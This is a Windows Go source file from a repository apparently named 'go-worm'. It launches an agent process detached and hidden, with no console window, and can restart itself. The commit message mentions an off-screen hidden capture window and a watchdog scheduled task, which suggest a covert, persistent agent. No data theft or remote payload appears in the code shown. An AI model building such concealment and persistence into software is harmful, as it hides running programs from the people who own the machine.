Files
go-worm/lib/instance/launch_windows.go
kato cc2b1d049b fix(windows): prevent console window flash
- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script
2026-09-01 23:25:06 +03:00

40 lines
813 B
Go

//go:build windows
package instance
import (
"os"
"os/exec"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
// the child alive after the parent (e.g. a scheduled task) exits.
func Launch(exe string, args []string) error {
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, args...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
if err := cmd.Start(); err != nil {
return err
}
return cmd.Process.Release()
}
// RestartSelf launches a fresh agent process (no mutex check).
func RestartSelf() error {
exe, err := os.Executable()
if err != nil {
return err
}
return Launch(exe, nil)
}